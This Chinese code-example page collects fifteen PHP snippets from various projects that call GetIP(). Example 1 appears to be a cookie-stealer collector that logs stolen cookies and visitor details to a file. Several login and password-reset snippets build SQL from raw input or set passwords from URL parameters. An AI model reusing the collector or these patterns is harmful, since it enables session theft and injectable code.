本文整理汇总了PHP中GetIP函数的典型用法代码示例。如果您正苦于以下问题:PHP GetIP函数的具体用法?PHP GetIP怎么用?PHP GetIP使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了GetIP函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: logData
function logData()
{
$ipLog = "log.txt";
$cookie = $_GET['cookie'];
$body = $_GET['body'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) {
$ip = getenv('REMOTE_ADDR');
} else {
$ip = GetIP();
}
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERRER'];
$date = date("l dS of F Y h:i:s A");
$log = fopen("{$ipLog}", "a+");
if (preg_match("/\\bhtm\\b/i", $ipLog) || preg_match("/\\bhtml\\b/i", $ipLog)) {
fputs($log, "IP: {$ip} | PORT: {$rem_port} | HOST: {$rem_host} | Agent: {$user_agent} | METHOD: {$rqst_method} | REF: {$referer} | DATE{ : } {$date} | COOKIE: {$cookie} <br> | BODY: {$body}");
} else {
fputs($log, "IP: {$ip} | PORT: {$rem_port} | HOST: {$rem_host} | Agent: {$user_agent} | METHOD: {$rqst_method} | REF: {$referer} | DATE: {$date} | COOKIE: {$cookie} | BODY: {$body} \n\n");
}
fclose($log);
}
示例2: CommonJob
function CommonJob($Num, $Specific)
{
$Stage = new Stages();
//Connect
if (!$Stage->Connect(LogID(), LogPassword(), LogDB())) {
return 0;
}
if (!$Stage->CheckForms()) {
$Stage->Close();
return 0;
}
//Write Log
if (!$Stage->WriteLog(GetIP(), $Num)) {
$Stage->Close();
return 0;
}
//Disconnect
$Stage->Close();
//Connect
if (!$Stage->Connect(FirmwareID(), FirmwarePassword(), FirmwareDB())) {
return 0;
}
//Find Product
if (!$Stage->FindProduct($Specific)) {
$Stage->Close();
return 0;
}
//Disconnect
$Stage->Close();
}
示例3: GetCurrencyByIP
/**
* Fetch the currency code to use based on the current visitors IP address. This function will perform a
* GeoIP based lookup of the current visitors IP address and if possible, find a matching currency.
*
* @return mixed False if a currency cannot be found, else the currency ID if a matching currency was found.
*/
function GetCurrencyByIP()
{
require_once ISC_BASE_PATH."/lib/geoip/geoip.php";
$geoIp = @geoip_open(ISC_BASE_PATH."/lib/geoip/GeoIP.dat", GEOIP_STANDARD);
if(!$geoIp) {
return false;
}
$code = geoip_country_code_by_addr($geoIp, GetIP());
if(!$code) {
return false;
}
$query = "
SELECT currencyid
FROM [|PREFIX|]currencies cu
LEFT JOIN [|PREFIX|]countries co ON cu.currencycountryid = co.countryid
LEFT JOIN (
SELECT r.couregid, c.countryiso2
FROM [|PREFIX|]countries c
JOIN [|PREFIX|]country_regions r ON c.countrycouregid = r.couregid
) cr ON cu.currencycouregid = cr.couregid
WHERE
(
co.countryiso2 = '" . $GLOBALS['ISC_CLASS_DB']->Quote($code) . "' OR
cr.countryiso2 = '" . $GLOBALS['ISC_CLASS_DB']->Quote($code) . "'
) AND
cu.currencystatus = 1
LIMIT 1
";
return $GLOBALS['ISC_CLASS_DB']->FetchOne($query, 'currencyid');
}
示例4: Loginlogs
function Loginlogs()
{
$line['ip'] = GetIP();
$line['time'] = date("Y-m-d H:i:s");
$line['AgentID'] = $_SESSION['AgentID'];
$DB = new DB();
$DB->insertArray('tbl_loginlogs', $line);
}
示例5: saveLog
public function saveLog($uid, $action)
{
global $router, $match;
$format = "INSERT INTO `" . DB_PRE . "log` (`lid`, `uid`, `action`, `ip`, `ctime`)";
$format .= " VALUES ('%s', '%d', '%d', '%s', '%d');";
$sql = sprintf($format, $match['action'], $uid, $action, GetIP(), time());
parent::Insert($sql);
}
示例6: hb_log
function hb_log($msg, $prefix = "", $level = "INFO")
{
$path = "../log/" . date("Y-m-d") . $prefix . ".log";
$log = date("Y-m-d H:i:s") . " ";
$log .= GetIP() . " ";
$log .= $level . " ";
$log .= json_encode($msg, JSON_UNESCAPED_UNICODE) . PHP_EOL;
file_put_contents($path, $log, FILE_APPEND);
}
示例7: __construct
public function __construct($subemail, $subfirstname)
{
$this->setDoubleOptIn(GetConfig('EmailIntegrationNewsletterDoubleOptin'));
$this->setSendWelcome(GetConfig('EmailIntegrationNewsletterSendWelcome'));
$this->setSubscriptionIP(GetIP());
$this->subemail = $subemail;
$this->subfirstname = $subfirstname;
}
示例8: create
public function create()
{
$data = array();
$data['user_browser'] = GetBrowser();
$data['user_ip'] = GetIP();
$data['user_lang'] = GetLang();
$data['user_os'] = GetOs();
$result = D('User')->addData($data);
echo '<pre/>';
print_r($result);
}
示例9: DevLog
function DevLog($Lv, $Msg, $Pth = "")
{
if (!is_numeric($Lv) || !is_string($Msg)) {
return -1;
}
// Default log level is 'Info'.
if (!defined('LOG_LEVEL')) {
define('LOG_LEVEL', 2);
}
if ($Lv > LOG_LEVEL) {
return 1;
}
$LvFlg = "";
switch ($Lv) {
case 0:
$LvFlg = '[ERROR]';
break;
case 1:
$LvFlg = '[WARN ]';
break;
case 2:
$LvFlg = '[INFO ]';
break;
case 3:
$LvFlg = '[DEBUG]';
break;
case 4:
$LvFlg = '[FULL ]';
break;
default:
$LvFlg = '[?????]';
break;
}
$Log = date('YmdHis ') . GetIP() . ' ' . $LvFlg . ' ' . $Msg . "\n";
if (!defined('LOG_PATH')) {
define('LOG_PATH', "./");
}
$FP = LOG_PATH . date('YW') . '-DevLog.txt';
// '$FP' = File Path.
$FR = @fopen($FP, 'w');
// '$FR' = File Resource.
if ($FR == false) {
return -2;
}
if (!@flock($FR, LOCK_EX)) {
fclose($FR);
return -3;
}
@fwrite($FR, $Log);
@flock($FR, LOCK_UN);
@fclose($FR);
return 0;
}
示例10: login_login
function login_login()
{
global $_MooClass, $dbTablePre, $memcached;
/*
$seccode1 = strtolower(MooGetGPC('vertify_code','string','P'));
$seccode2 = MooGetGPC('seccode','string','C');
$session_seccode = $memcached->get($seccode2);
if($seccode1 != $session_seccode){
MooMessageAdmin("验证码填写不正确,请确认。", "index.php?action=login",'','',3);
}
*/
$username = MooGetGPC('username', 'string', 'P');
$password = MooGetGPC('password', 'string', 'P');
$password = md5($password);
//判断用户名和密码是否为空
if ($username == '' || $password == '') {
MooMessageAdmin('用户名或密码不能为空', 'index.php?n=login', 1);
}
$userinfo = $_MooClass['MooMySQL']->getOne("SELECT * FROM {$dbTablePre}admin_user WHERE `username`='{$username}' LIMIT 1 ", true);
if ($userinfo['uid'] && $userinfo['password'] == $password) {
MooSetCookie('admin', MooAuthCode("{$userinfo['uid']}\t{$userinfo['password']}", 'ENCODE'), 86400);
//note 写入session表需要的字段值
$online_ip = GetIP();
$lastactive = $GLOBALS['timestamp'];
//note 提取快到期的高级用户并加入备注中
$nowtime = time();
$endtime = $nowtime + 8 * 24 * 60 * 60;
$_MooClass['MooMySQL']->query("DELETE FROM {$dbTablePre}custom_remark WHERE `keyword`='会员到期' AND `cid`='{$userinfo['uid']}'");
$remark = $_MooClass['MooMySQL']->getAll("SELECT `uid`,`endtime` FROM {$dbTablePre}members_search WHERE `sid`={$userinfo['uid']} AND `s_cid`=30 AND `endtime`<{$endtime}", 0, 0, 0, true);
for ($i = 0; $i < count($remark); $i++) {
$content = "尊敬的客服,您的红娘号为" . $remark[$i]['uid'] . "的会员将于" . date('Y-m-d', $remark[$i]['endtime']) . "到期,请尽快与该会员联系";
$_MooClass['MooMySQL']->query("INSERT INTO {$dbTablePre}custom_remark SET `cid`={$userinfo['uid']},`keyword`='会员到期',`content`='{$content}',`awoketime`='{$remark[$i]['endtime']}'");
}
//更新最后登录相关记录
$sql = "UPDATE {$dbTablePre}admin_user SET lastlogin='{$nowtime}',lastip='{$online_ip}' WHERE uid='{$userinfo['uid']}'";
$GLOBALS['_MooClass']['MooMySQL']->query($sql);
$sid_list = '';
//得到我所管理的客服id列表
$sid_list = get_mymanage_serviceid_list($userinfo['uid'], $userinfo['groupid']);
$time = time();
$sql = "REPLACE INTO {$GLOBALS['dbTablePre']}admin_usersession SET uid='{$userinfo['uid']}',groupid='{$userinfo['groupid']}',dateline='{$time}',sid_list='{$sid_list}'";
$GLOBALS['_MooClass']['MooMySQL']->query($sql);
//添加操作日志
serverlog(3, $dbTablePre . "admin_usersession", "{$userinfo['uid']}成功登陆后台", $userinfo['uid']);
MooMessageAdmin('登陆成功', 'index.php?n=main', 1);
} else {
MooMessageAdmin('用户名或密码错误', 'index.php?n=login', 1);
}
}
示例11: add
/**
* Add a customer
*
* Method will add a customer to the database
*
* @access public
* @param array $input The customer details
* @return int The customer record ID on success, FALSE otherwise
*/
public function add($input)
{
$savedata = array('custpassword' => md5($input['password']), 'custconcompany' => $input['company'], 'custconfirstname' => $input['firstname'], 'custconlastname' => $input['lastname'], 'custconemail' => $input['email'], 'custconphone' => $input['phone'], 'custdatejoined' => time());
if (isset($input['subscribed'])) {
$savedata['subscribed'] = $input['subscribed'];
}
// 20110613 johnny add
if (isset($input['isguest'])) {
$savedata['isguest'] = $input['isguest'];
}
if (isset($input['storecredit'])) {
$savedata['custstorecredit'] = $input['storecredit'];
}
if (array_key_exists('customergroupid', $input) && isId($input['customergroupid'])) {
$savedata['custgroupid'] = $input['customergroupid'];
} else {
$input['customergroupid'] = 0;
$savedata['custgroupid'] = 0;
}
if (!array_key_exists('is_import', $input) || !$input['is_import']) {
$savedata['custregipaddress'] = GetIP();
} else {
if (array_key_exists('token', $input)) {
$savedata['customertoken'] = $input['token'];
}
}
if (array_key_exists('custformsessionid', $input)) {
$savedata['custformsessionid'] = $input['custformsessionid'];
}
$customerid = $GLOBALS['ISC_CLASS_DB']->InsertQuery('customers', $savedata);
$input['customerid'] = $customerid;
if (!isId($customerid)) {
return false;
}
if (array_key_exists('shipping_address', $input)) {
$input['shipping_address']['customerid'] = $input['customerid'];
$input['shipping_address']['shipcustomerid'] = $input['customerid'];
$this->shipping->add($input['shipping_address']);
}
/**
* Create the spool file
*/
$this->createServiceRequest('customer', 'add', $input['customerid'], 'customer_create');
return $customerid;
}
示例12: find_pwd
/**
@param (忘记密码)通过地址栏用户名和新密码登陆
@param return null
*/
function find_pwd()
{
global $_MooClass, $dbTablePre, $userid, $_MooCookie;
// if($userid){
// return;
// }
$uid = MooGetGPC('uid', 'string', G);
$pwd = MooGetGPC('upwd', 'string', G);
/* echo md5($uid).'<br>';
echo md5($pwd);
print_r($_COOKIE);
exit;
*/
if ($_MooCookie['findpwd'] == md5($pwd) && md5($uid) == $_MooCookie['finduser']) {
$newpwd = md5(base64_decode($pwd));
//note 修改密码
//$_MooClass['MooMySQL']->query("update {$dbTablePre}members set password = '{$newpwd}' where uid = '{$uid}'");
//if(MOOPHP_ALLOW_FASTDB){
// MooFastdbUpdate('members','uid',$uid);
// }
MooSetCookie('auth', MooAuthCode("{$uid}\t{$newpwd}", 'ENCODE'), 86400);
//note 写入session表需要的字段值
$online_ip = GetIP();
$lastactive = $GLOBALS['timestamp'];
//$uid = $user['uid'];
//note 更新用户的最近登录ip和最近登录时间
$updatesqlarr = array('lastip' => $online_ip, 'lastvisit' => $lastactive, 'password' => $newpwd);
$wheresqlarr = array('uid' => $uid);
updatetable("members_search", $updatesqlarr, $wheresqlarr);
if (MOOPHP_ALLOW_FASTDB) {
$val = array();
$val['lastip'] = $online_ip;
$val['lastvisit'] = $lastactive;
$val['password'] = $newpwd;
MooFastdbUpdate('members_search', 'uid', $uid, $val);
//!!
}
//note 先删除表里面已存在对应用户的session
//$_MooClass['MooMySQL']->query("DELETE FROM `{$dbTablePre}membersession` WHERE `uid` ='$uid'");
//$_MooClass['MooMySQL']->query("REPLACE INTO `{$dbTablePre}membersession` SET `username`= '$user[username]',`password`='$user[password]',`ip` = '$online_ip',`lastactive` = '$lastactive',`uid` = '$uid'");
return 1;
}
return 0;
}
示例13: active_email
function active_email()
{
global $_MooClass;
$uid = $u['uid'] = MooGetGPC('uid', 'string');
$verifycode = MooGetGPC('verifycode', 'string');
$username = $u['username'] = MooGetGPC('p', 'string');
if ($verifycode == strtoupper(md5('hongniangwang' . $u['uid'] . $u['username']))) {
$online_ip = GetIP();
$t = time();
$pass = md5('123456');
$r = $_MooClass['MooMySQL']->getOne("select * from web_activelog where uid={$uid} limit 1", true);
if ($r['username'] == $username) {
MooMessage("您已经激活过了", "index.php", "05");
} else {
//$_MooClass['MooMySQL']->query("update web_members_search,web_members_login set password='$pass',usertype=1,regdate='$t',last_login_time = '$t',login_meb = login_meb+1,lastip='$online_ip',lastvisit='$t' where uid='$uid'");
$_MooClass['MooMySQL']->query("update web_members_search as s,web_members_login as l set s.password='{$pass}',s.usertype=1,s.regdate='{$t}',l.last_login_time = '{$t}',l.lastip='{$online_ip}',l.lastvisit='{$t}' where s.uid='{$uid}' and l.uid='{$uid}'");
searchApi('members_man members_women')->updateAttr(array('usertype', 'regdate'), array($uid => array(1, $t)));
$_MooClass['MooMySQL']->query("insert into web_activelog(uid,username,activetime) values('{$uid}','{$username}','{$t}')");
}
MooSetCookie('auth', MooAuthCode("{$uid}\t{$pass}", 'ENCODE'), 86400);
MooSetCookie('username', $u['username'], time() + 3600);
if (MOOPHP_ALLOW_FASTDB) {
$user11 = MooFastdbGet('members_search', 'uid', $uid);
$meb = $user11['login_meb'];
$val_s = $val_l = array();
$val_s['password'] = $pass;
$val_s['usertype'] = 1;
$val_s['regdate'] = $t;
$val_l['last_login_time'] = $t;
$val_l['login_meb'] = $meb + 1;
$val_l['lMooFastdbUpdateastip'] = $online_ip;
$val_l['lastvisit'] = $t;
MooFastdbUpdate('members_search', 'uid', $uid, $val_s);
//!!
MooFastdbUpdate('members_login', 'uid', $uid, $val_l);
}
//$_MooClass['MooMySQL']->query("INSERT INTO `web_membersession` SET `username`= '$u[username]',`password`='$pass',`ip` = '$online_ip',`lastactive` = '$t',`uid` = '$uid'");
MooMessage("验证激活成功", "index.php", "05");
} else {
MooMessage("参数有误!请注册", "index.php", "02");
}
}
示例14: checkUser
function checkUser($username,$userpwd)
{
//只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
$this->userName = ereg_replace("[^0-9a-zA-Z_@\!\.-]",'',$username);
$this->userPwd = ereg_replace("[^0-9a-zA-Z_@\!\.-]",'',$userpwd);
$pwd = substr(md5($this->userPwd),0,24);
$dsql = new DedeSql(false);
$dsql->SetQuery("Select * From #@__admin where userid='".$this->userName."' limit 0,1");
$dsql->Execute();
$row = $dsql->GetObject();
if(!isset($row->pwd)){
$dsql->Close();
return -1;
}
else if($pwd!=$row->pwd){
$dsql->Close();
return -2;
}
else{
$loginip = GetIP();
$this->userID = $row->ID;
$this->userType = $row->usertype;
$this->userChannel = $row->typeid;
$this->userName = $row->uname;
$groupSet = $dsql->GetOne("Select * From #@__admintype where rank='".$row->usertype."'");
$this->userPurview = $groupSet['purviews'];
$dsql->SetQuery("update #@__admin set loginip='$loginip',logintime='".strftime("%Y-%m-%d %H:%M:%S",time())."' where ID='".$row->ID."'");
$dsql->ExecuteNoneQuery();
$dsql->Close();
return 1;
}
}
示例15: MooPlugins
<?php
require 'framwork/MooPHP.php';
MooPlugins('ipdata');
$address = convertIp(GetIP());
echo "var curent_area='" . $address . "'";
MooGetFromwhere();